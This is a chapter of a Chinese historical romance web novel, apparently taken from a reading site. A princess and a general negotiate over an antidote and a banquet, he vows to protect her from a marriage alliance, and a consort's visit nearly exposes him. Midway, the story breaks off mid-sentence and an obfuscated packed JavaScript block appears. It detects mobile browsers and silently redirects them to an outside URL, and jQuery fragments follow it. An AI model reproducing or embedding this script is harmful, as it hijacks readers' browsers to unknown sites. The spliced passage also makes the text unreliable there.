默认冷灰
24号文字
方正启体

7. 少年立誓

作者:起夏本书字数:K更新时间:
    “擦擦?”


    仰首间,杨祯雪撞入一对熟悉的眉眼。


    她放下手中针线,略带嗔恼地接过叠得规整的帕子,将血珠擦拭。


    伏坐许久,她的肩颈有几分软酸,遂将四指覆上后颈轻揉。


    “将军今日是作何花样?”


    “无召入宫,夜探皇室女眷,是为不敬。”她声调拔高,佯装恼怒:“你当真以为孤不敢罚你吗?”


    “臣冒着风险来讨公主欢心,反倒被斥责,好没道理。”他在话语间不自觉带上几分委屈。


    杨祯雪顿时哑言,最终还是忍无可忍朝窗外一唤:“莺时,他不明白规矩,你也不懂?”


    “奴婢失职,这就请将军离开。”


    “不必。”


    她深吸一口气,低垂着眼眸不去看他,只专注于手中未尽之事。


    周径山自顾自坐在她对面,难得有耐性静静看着她直至绣品完成。


    她将针线收好,稍稍理了一下略微凌乱的桌案。


    “你有话要说,是什么呢?”


    “臣的解药,公主打算如何交付?”他摊开掌心,张口就是毫无客套的诘问。


    沉吟片刻,杨祯雪缓缓开口。


    “每月十五,你亲自去城西的千金坊取药,孤的人只认你的脸。”


    千金坊,是京中有名的赌场。


    “公主的如意算盘打得可真响。”周径山眼尾微挑,哂笑道:“公主的资产,让我去镇场子?”


    “好啊,反正我已经声名狼藉,也不在乎多那一个。”他欺身逼近,愈发得寸进尺起来:“不过,是不是该给我些分成?”


    “容后再议。”杨祯雪有一瞬的失神,她急促将话道尽。


    她一把推开他,半垂玉首,刻意避开他的凝视,眼波流转间带有几分惶急。


    没由来的,她不敢去看他的眼睛。


    他生有一双过分好看的桃花眼。并不似繁星璀璨,也不多情轻浮,却兼具清冽与浑浊,仿佛藏着情绪。


    每每对上那双眼,总能让她失态。


    周径山的眸光灼人,直叫人心尖发颤。


    见杨祯雪耳边赤色难掩,他不再捉弄她,不过顷刻便恢复了往日正经。


    周径山展出一庚宴帖。


    “昨日,你派人叫我千万收下这庚宴帖,是什么意思?”


    杨祯雪翻开宴帖,徽墨映在如雪的纸上,笺尾的殷红小印是相府的落印。


    她没有答复他,而是反问道:“你要去吗?”


    “不去。”没有分毫犹豫,他便出了声。


    杨祯雪早已料到,她不去询问缘由,换上不容拒绝的口吻:“不,你必须去。”


    “一场春日宴,又不会把你抽筋拔骨。去凑凑热闹何妨?”


    “那可不一样。”周径山意味深长道:“这场宴席倒不如说是择婿宴。”


    梅相的孙女到了待嫁的年纪,京中权贵向来以梅家为首,她的这一桩婚事不知有多少双眼睛盯着。


    她的婚事是相府的权衡和考量,亦是梅家女儿的头面,没有她半点做主的机会。


    “你若是担忧婚嫁一事,大可不必。”杨祯雪直言不讳:“纵你面容姣好,军功显赫。但以你的名声,不说其他朝臣,单论梅相便绝不可能把孙女嫁给你。”


    “倘若她对我一见倾心呢?”


    “那也由不得她。”她轻叹道。


    “你呢?你的婚嫁事宜,可曾考虑过。”


    杨祯雪眼眸凝滞,似有千言万语锁在喉间。


    她的确还从未考虑过自己的婚事。


    她承皇家荣辱,享万民敬仰。


    可女子婚嫁听之父母媒妁,是亘古皆诵的明理,亦是难填平的沟壑。


    而今九州山河定数未知,公主和亲以换两国交好,不知何时竟成为了不成文的规定。


    察觉到杨祯雪的神色郁郁,周径山一贯不会说些安慰人的话。此刻,他极为认真地去柔声安抚:“女儿身,不是过错,更不应被礼教囚于樊笼。”


    多年来杨祯雪的坚强他都看在眼里。若没有对她的欣赏,那他也不会主动找上她。


    见她眉间愁绪依旧,周径山俶尔单膝及地,字字掷地有声。


    “臣以项上头颅立誓。”


    “只要臣一息尚存,哪怕万军叩关,也断不会让蛮夷铁骑踏破京城,更不会让公主殿下的鞋履染上异邦黄沙。朝中若有人想推您和亲,除非踏过臣的尸骨。”


    杨祯雪身子簌簌发颤,一滴泪将要从眼眶坠落,她匆忙抬手去拭。


    少年的话语仿若绵绵细雨,悄然浸润心田,一股无法言说的滋味浮上心头。


    她心中纵有万语千言,终只化作一句轻语。


    “谢谢你。”


    周径山仍是跪拜之姿,她疾步上前欲要搀扶起他,不料脚步错乱,身子骤然前倾。


    手臂被人一扯,她撞入一个温热的胸膛,能清楚地听得心跳声。


    近在咫尺,一下又一下。


    “当心。”低沉的尾音扫过杨祯雪的耳畔。


    怀中她贴近时的柔软直抵心尖,搅乱一池静水。


    周径山的手横在她纤细的腰间,稳稳托住这一副失衡的身躯。


    二人俱是一僵。


    隔着衣裳,杨祯雪能感觉到他掌心传出的灼灼温热。


    殿中仿佛只余二人低沉的呼吸,连虫鸟都屏息。


    她微微侧首,眼睫低垂,想要避开他的灼灼目光,耳根已染上薄红,只觉他视线所及之处,肌肤在隐隐发烫。


    为了掩饰在他跟前的不自在,她喉间脱口而出一句指责:“逾矩。”


    杨祯雪话音落下的瞬间,箍在她腰间的手便遽然松开。她只觉得腰际一空,足下不稳,险些倾坠于地。


    杨祯雪黛眉一蹙,心头霎时冒起怨怒,她将声调扬起,嗔骂道。


    “你故意的。”


    周径山垂手而立,眉宇间似有不解,倒生出几分无辜来。


    观他这副模样,杨祯雪一时无名火起,偏又无可奈何。


    是她让他放手的,她没有理由去斥责他。


    二人相视一眼,很有默契地将那段小插曲轻轻揭过,只当浮云过眼,片影不存。


    “春日宴,孤与你同往。”杨祯雪断然道。


    周径山尚未来得及回话,殿外莺时慌张的声音传入。


    “奴婢见过贤妃娘娘。”


    四目相对的瞬间,杨祯雪来不及思索,她猛地抓住周径山的手腕,用尽最大力气将他推向深处的屏风。


    他的身影没入屏风后,只听“吱呀”一声,殿门被推开,杨祯雪早已旋身坐回案前。


    “更深露重,永安怎地还未安歇?”


    崔遗真身后侍立的宫娥为她解下斗篷,里面露出端丽的宫装。


    她径直朝杨祯雪走来,步子轻缓,目光极自然地落在桌案的白瓷炉上。


    “怎么没有燃我送你的香?”


    她的眼眸


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15740511|174153||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    温柔似水,话语间带着嗔怪:“你这孩子,身子本就单薄,夜里寒气重,再不用些安神的香料,如何能熬得过这漫漫长夜?”


    杨祯雪朝她笑了笑:“劳崔娘娘挂心。今日不知怎的,心头总觉得有些烦闷,嗅着那安神香的气息,反倒更添了燥意,便任性叫人熄了。”


    “胡闹。”她挨着杨祯雪坐下,关切道:“女儿家,最忌宫寒。尤其是你,自小就畏寒,身子骨又娇弱。雨一下风一吹,寒气便顺着骨头缝往里钻,若不好生养着,将来……”


    她开始絮絮叨叨,说着关于女子养身的种种。


    崔遗真总是这样,待杨祯雪一向如同亲生女儿般慈爱。


    她又伸出白皙的手,揭开白瓷炉的盖子。炉内空荡荡的,只有一层薄薄的的灰沉积在炉底。


    她取来香饼将香点上。


    “这香是我特意为你调制的,此香安神,夜里点着,能驱散噩梦,引人入甜乡。”


    白瓷炉里吐出几缕袅袅香丝,幽香盈室。


    她倏忽瞥见桌上的锦囊,好奇心生起,她轻轻拈起它,将其托在掌心。


    “哟。”崔遗真的尾音拖得很长,她拾起锦囊,带着玩味:“这针脚,瞧着可不像是宫里绣娘的手笔。”


    “莫非。”她刻意停顿,带有探究的目光投向杨祯雪:“是哪位风度翩翩的郎君,悄悄俘获了我们永安的芳心?”


    崔遗真竟不知锦囊一事?


    后宫中,她是唯一与皇后真心相待的人。


    崔遗真探寻的目光再度传来,杨祯雪暂且压下心头疑窦,扯了个谎。


    “娘娘说笑了,不过绣着玩玩。随手放着,倒让你见笑话。”


    在崔遗真看来,这副模样宛若含羞。


    “玩玩?”崔遗真轻笑一声,续言道:“永安,你也到了嫁人的年纪。你父皇为此愁容满面,满朝勋贵子弟的画像,如流水似的送进御书房,只盼着能给我们千娇百宠的公主殿下,挑个十全十美的如意郎君。”


    她凑近了些,压低了声音。


    “倘若你心里头真有了那么一个合心意的人儿,早些跟我透个风,我也好在你父皇跟前,替你问上一问。”


    男女情愫,杨祯雪暂时无心置喙。


    眼见她没有离开的意思,杨祯雪的声音染上疲惫:“夜深了,我实是有些乏了,头也沉得厉害。”


    说罢她又抬手,揉了揉额角。


    崔遗真见状识趣地起身告退。


    “哐当!”


    一声突兀的声响从殿中传来。


    在一只脚即将迈出门槛的刹那,崔遗真的身形顿住,眼中掠过一丝愕然。


    她微微侧首,眼角的余光扫视殿内,最终落在屏风处。


    屏风高大厚重,将后面的一方天地遮得严严实实,只在地面投下一大团阴影。


    “想是夜猫儿不知从何处钻了进来。”杨祯雪的声音竭力维持着平稳:“前几日听值夜的宫人抱怨,说有野猫溜进殿中,打翻了好些瓶瓶罐罐。”


    “是野猫作祟啊。”崔遗真似笑非笑。


    “不过这深宫大院,门窗还是要关紧些。野猫爪牙尖利,万一伤了你,可如何是好?”


    她的目光又扫了一眼屏风的方向,刻意将“爪牙”二字咬得格外清晰。


    “你好生歇息。”


    殿门在她身后合拢,崔遗真的身影渐渐消失在浓浓的夜色里。


    杨祯雪赶忙绕行至屏风后,周径山不知何时也不见了身影。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)